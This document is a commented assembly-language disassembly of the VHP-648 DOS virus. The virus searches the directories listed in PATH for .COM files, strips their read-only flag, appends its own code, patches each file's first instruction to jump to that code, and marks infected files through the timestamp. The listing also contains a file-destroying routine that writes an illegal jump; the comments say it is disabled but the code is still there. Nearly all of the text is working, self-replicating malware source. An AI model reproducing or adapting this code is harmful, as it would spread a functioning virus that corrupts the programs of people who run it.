      name        Virus
      title       Disassembly listing of the VHP-648 virus
     .radix       16
      code        segment
      assume      cs:code,ds:code
      org         100
environ   equ     2C

start:
      jmp      virus
      . . .
virus:
      push      cx              ;Save CX
      mov       dx,offset data  ;Restore original first instruction
                                ; before each contamination
modify equ      $-2             ;The instruction above is changed
      cld
      mov      si,dx
      add      si,saveins-data  ;Instruction saved there
      mov      di,offset start
      mov      cx,3             ;Move 3 bytes
      rep      movsb            ;Do it
      mov      si,dx            ;Keep SI pointed at data

      mov      ah,30            ;Get DOS version
      int      21
      cmp      al,0             ;Less than 2.0?
      jne      skip1
      jmp      exit             ;Exit if so

skip1:
      push     es               ;Save ES
      mov      ah,2F            ;Get current DTA in ES:BX
      int      21
      mov      word ptr [si+0],bx      ;dtaadr
      mov      word ptr [si+2],es
      pop      es               ;Restore ES

      mov      dx,mydta-data
      add      dx,si
      mov      ah,1A            ;Set DTA
      int      21

      push      es              ;Save ES & SI
      push      si
      mov      es,ds:[environ]  ;Environment address
      mov      di,0
n_00015A:                       ;Search 'PATH=' in the environment
      pop      si               ;Restore data offset in SI
      push     si
      add      si,pathstr-data
      lodsb
      mov      cx,8000          ;Maximum 32K in environment
      repne    scasb            ;Search for first letter ('P')
      mov      cx,4             ;4 letters in 'PATH'
n_000169:
      lodsb                     ;Search for next char
      scasb
      jne      n_00015A         ;If not found, search for next 'P'
      loop     n_000169         ;Loop until done
      pop      si               ;Restore SI & ES
      pop      es

      mov      [si+16],di       ;Save 'PATH' offset in poffs
      mov      di,si
      add      di,fname-data    ;Point SI & DI at '=' sign
      mov      bx,si            ;Point BX at data area
      add      si,fname-data
      mov      di,si
      jmp      short n_0001BF

n_000185:
      cmp      word ptr [si+16],6C  ;poffs
      jne      n_00018F
      jmp      olddta
n_00018F:
      push     ds
      push     si
      mov      ds,es:[environ]
      mov      di,si
      mov      si,es:[di+16]    ;poffs
      add      di,fname-data
n_0001A1:
      lodsb
      cmp      al,';'
      je       n_0001B0
      cmp      al,0
      je       n_0001AD
      stosb
      jmp      n_0001A1
n_0001AD:
      mov      si,0
n_0001B0:
      pop      bx
      pop      ds
      mov      [bx+16],si       ;poffs
      cmp      byte ptr [di-1],'\'
      je       n_0001BF
      mov      al,'\'           ;Add '\' if not already present
      stosb

n_0001BF:
      mov      [bx+18],di       ;Save '=' offset in eqoffs
      mov      si,bx            ;Restore data pointer in SI
      add      si,allcom-data
      mov      cx,6             ;6 bytes in ASCIIZ '*.COM'
      rep      movsb            ;Move '*.COM' at fname
      mov      si,bx            ;Restore SI

      mov      ah,4E            ;Find first file
      mov      dx,fname-data
      add      dx,si
      mov      cx,11b            ;Hidden, Read/Only or Normal files
      int      21
      jmp      short n_0001E3

findnext:
      mov      ah,4F             ;Find next file
      int      21
n_0001E3:
      jnc      n_0001E7          ;If found, try to contaminate it
      jmp      n_000185          ;Otherwise search in another directory

n_0001E7:
      mov      ax,[si+75]        ;Check file time
      and      al,11111b         ; (the seconds, more exactly)
      cmp      al,62d/2          ;Are they 62?

;If so, file is already contains the virus, search for another:

      je       findnext
      cmp      [si+79],64000d    ;Is file size greather than 64,000 bytes?
      ja       findnext          ;If so, search for next file
      cmp      word ptr [si+79],10d  ;Is file size less than 10 bytes?
      jb       findnext              ;If so, search for next file

      mov      di,[si+18]        ;eqoffs
      push     si                ;Save SI
      add      si,namez-data     ;Point SI at namez
n_000209:
      lodsb
      stosb
      cmp      al,0
      jne      n_000209

      pop      si                ;Restore SI
      mov      ax,4300           ;Get file attributes
      mov      dx,fname-data
      add      dx,si
      int      21

      mov      [si+8],cx         ;Save them in fattrib
      mov      ax,4301           ;Set file attributes

;The next `db's are there because MASM can't assemble
; the instruction `and cx,0FFFE' correctly (the fool!):

      and      cx,0FFFE          ;Turn off Read Only flag
      mov      dx,fname-data
      add      dx,si
      int      21

      mov      ax,3D02           ;Open file with Read/Write access
      mov      dx,fname-data
      add      dx,si
      int      21
      jnc      n_00023E
      jmp      oldattr           ;Exit on error
n_00023E:
      mov      bx,ax             ;Save file handle in BX
      mov      ax,5700           ;Get file date & time
      int      21
      mov      [si+4],cx         ;Save time in ftime
      mov      [si+6],dx         ;Save date in fdate

      mov      ah,2C             ;Get system time
      int      21
      and      dh,111b           ;Are seconds a multiple of 8?

;If so, destroy file (don't contaminate). Now this code is disabled.

      jmp      short n_000266    ;CHANGED. Was jnz here

;Destroy file by rewriting an illegal jmp as first instruction:

      mov      ah,40             ;Write to file handle
      mov      cx,5              ;Write 5 bytes
      mov      dx,si
      add      dx,bad_jmp-data   ;Write THESE bytes
      int      21                ;Do it
      jmp      short oldtime     ;Exit

;Try to contaminate file:

;Read first instruction of the file (first 3 bytes) and save it in saveins:

n_000266:
      mov      ah,3F             ;Read from file handle
      mov      cx,3              ;Read 3 bytes
      mov      dx,saveins-data   ;Put them there
      add      dx,si
      int      21
      jc       oldtime           ;Exit on error
      cmp      ax,3              ;Are really 3 bytes read?
      jne      oldtime           ;Exit if not

;Move file pointer to end of file:

      mov      ax,4202           ;LSEEK from end of file
      mov      cx,0              ;0 bytes from end
      mov      dx,0
      int      21
      jc       oldtime           ;Exit on error

      mov      cx,ax             ;Get the value of file pointer
      sub      ax,3              ;Subtract 3 from it to get real code size
      mov      [si+14d],ax       ;Save result in filloc
      add      cx,data-(virus-100)
      mov      di,si
      sub      di,data-modify    ;A little self-modification
      mov      [di],cx

      mov      ah,40             ;Write to file handle
      mov      cx,enddata-virus  ;Virus code length as bytes to be written
      mov      dx,si
      sub      dx,data-virus     ;Now DX points at virus label
      int      21
      jc       oldtime           ;Exit on error
      cmp      ax,enddata-virus  ;Are all bytes written?
      jne      oldtime           ;Exit if not

      mov      ax,4200           ;LSEEK from the beginning of the file
      mov      cx,0              ;Just at the file beginning
      mov      dx,0
      int      21
      jc       oldtime           ;Exit on error

;Rewrite the first instruction of the file with a jump to the virus code:

      mov      ah,40             ;Write to file handle
      mov      cx,3              ;3 bytes to write
      mov      dx,si
      add      dx,newjmp-data    ;Write THESE bytes
      int      21

oldtime:
      mov      dx,[si+6]         ;Restore file date
      mov      cx,[si+4]         ; and time

;And these again are due to the MASM 5.0 foolness:

      db      081,0E1,0E0,0FF
      db      081,0C9,01F,000
;      and      cx,not 11111b
;      or      cx,11111b         ;Set seconds to 62 (?!)

      mov      ax,5701           ;Set file date & time
      int      21
      mov      ah,3E             ;Close file handle
      int      21

oldattr:
      mov      ax,4301           ;Set file attributes
      mov      cx,[si+8]         ;They were saved in fattrib
      mov      dx,fname-data
      add      dx,si
      int      21

olddta:
      push     ds                ;Save DS
      mov      ah,1A             ;Set DTA
      mov      dx,[si+0]         ;Restore saved DTA
      mov      ds,[si+2]
      int      21
      pop      ds                ;Restore DS

exit:
      pop      cx                ;Restore CX
      xor      ax,ax             ;Clear registers
      xor      bx,bx
      xor      dx,dx
      xor      si,si
      mov      di,100            ;Jump to CS:100
      push     di                ; by doing funny RET
      xor      di,di
      ret      -1

data label byte                 ;Data section
dtaaddr    dd      ?            ;Disk Transfer Address
ftime      dw      ?            ;File date
fdate      dw      ?            ;File time
fattrib    dw      ?            ;File attribute
saveins    db      0EBh,0Fh,90  ;Original first 3 bytes
newjmp     db      0E9          ;Code of jmp instruction
filloc     dw      ?            ;File pointer is saved here
allcom     db      '*.COM',0    ;Filespec to search for
poffs      dw      ?            ;Address of 'PATH' string
eqoffs     dw      ?            ;Address of '=' sign
pathstr    db      'PATH='
fname      db      40 dup (' ') ;Path name to search for

;Disk Transfer Address for Find First / Find Next:

mydta label byte
drive       db      ?           ;Drive to search for
pattern     db      13d dup (?) ;Search pattern
reserve     db      7 dup (?)   ;Not used
attrib      db      ?           ;File attribute
time        dw      ?           ;File time
date        dw      ?           ;File date
fsize       dd      ?           ;File size
namez       db      13d dup (?) ;File name found

;This replaces the first instruction of a destroyed file:

bad_jmp db      0EA,0Bh,2,13,58
enddata label   byte
     code       ends
                end       start
